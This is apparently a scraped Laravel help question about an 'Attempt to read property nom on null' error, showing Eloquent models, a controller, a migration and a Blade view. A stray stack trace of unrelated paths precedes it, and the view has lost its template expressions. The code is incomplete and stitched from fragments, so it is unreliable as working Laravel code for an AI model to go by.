/opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Concerns/GuardsAttributes.php:122 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Database/Console/Seeds/SeedCommand.php:64 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:29 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:87 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php:31 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Container/Container.php:564 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Console/Command.php:179 /opt/atlassian/pipelines/agent/build/vendor/symfony/console/Command/Command.php:255 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Console/Command.php:166 /opt/atlassian/pipelines/agent/build/vendor/symfony/console/Application.php:1021 /opt/atlassian/pipelines/agent/build/vendor/symfony/console/Application.php:275 /opt/atlassian/pipelines/agent/build/vendor/symfony/console/Application.php:149 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Console/Application.php:89 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Console/Application.php:188 /opt/atlassian/pipelines/agent/build/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php:250 /opt/atlassian/pipelines/agent/build/vendor/laravel/browser-kit-testing/src/Concerns/InteractsWithConsole.php:25 /opt/atlassian/pipelines/agent/build/vendor/laravel/browser-kit-testing/src/Concerns/InteractsWithDatabase.php:87 /opt/atlassian/pipelines/agent/build/tests/integration/IntegrationTestCase.php:19 /opt/atlassian/pipelines/agent/build/tests/integration/API/DeleteOrderFileTest.php:46

What am I doing wrong here?



via Chebli Mohamed

dimanche 2 avril 2023

Attempt to read property "nom" on null

I am facing this error 'Attempt to read property "nom" on null' in Laravel 10. though the User eloquent model work fine beside for Plaques;

Here is my Code:

Plaques Model:

class Plaques extends Model
{
    use HasFactory;

    protected $table = 'Plaques';

    protected $fillable = ['nom', 'zone', 'el_plaque', 'tranche', 'gc_mecanise', 'gc_trad', 'gpon', 'ville', 'status_plaque', 'closed_by' , 'created_by'];

    public function chambres()
    {
        return $this->hasMany(Chambres::class);
    }

    public function immeuble()
    {
        return $this->hasMany(Immeuble::class);
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }
}

Chambres Model:

class Chambres extends Model
{
    use HasFactory;

    protected $table = 'Chambres';

    protected $fillable = ['ref_chambre', 'type_chambre', 'chambre_terminer', 'loc_x_chambre', 'loc_y_chambre', 'plaque_id', 'user_id', 'status_chambre', 'created_by', 'closed_by', 'affected_by'];

    public function photos()
    {
        return $this->hasMany(Photos::class);
    }

    public function immeuble()
    {
        return $this->hasMany(Immeuble::class);
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    public function plaques()
    {
        return $this->belongsTo(Plaques::class);
    }

}

ChambresController:

use App\Models\Chambres;
use App\Models\Plaques;
use App\Models\User;

class ChambresController extends Controller
{
    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        return view('admin.chambres.index')
        ->with('chambres', Chambres::get());
    }

View:

<tbody>
            @forelse ($chambres as $chambre)
            <tr>
                <th scope="col"><a href= "/admin/chambres/" class="badge badge-primary" role="button"> </a></th>
                <th scope="col"></th>
                <th scope="col"></th>
                <th scope="col"></th>
                <th scope="col"><a href= "/admin/chambres//edit" class="badge badge-primary" role="button"> Modifier </a></th>
                <th scope="col">
                    <form id="valider" action="/admin/chambres/" method="post" class="hidden">
                    @csrf
                    @method('delete')
                    <button class="btn" role="button">Supprimer</button>
                </form>
                </th>
            </tr>

Chambres Migration:

        Schema::create('chambres', function (Blueprint $table) {
            $table->id();
            $table->unsignedBigInteger('user_id')->nullable();
            $table->unsignedBigInteger('plaque_id')->nullable();
            $table->string('ref_chambre')->unique();
            $table->string('type_chambre');
            $table->date('chambre_terminer')->nullable()->change();
            $table->string('loc_x_chambre');
            $table->string('loc_y_chambre');
            $table->boolean('status_chambre')->nullable();
            $table->string('created_by')->nullable();
            $table->string('closed_by')->nullable();
            $table->string('affected_by')->nullable();
            $table->foreign('plaque_id')->references('id')->on('plaques')->onDelete('cascade');
            $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade');
            $table->timestamps();
        });

i want to get 'nom' column value from 'Plaques' table which has foreign key on 'Chambres' table.



via Chebli Mohamed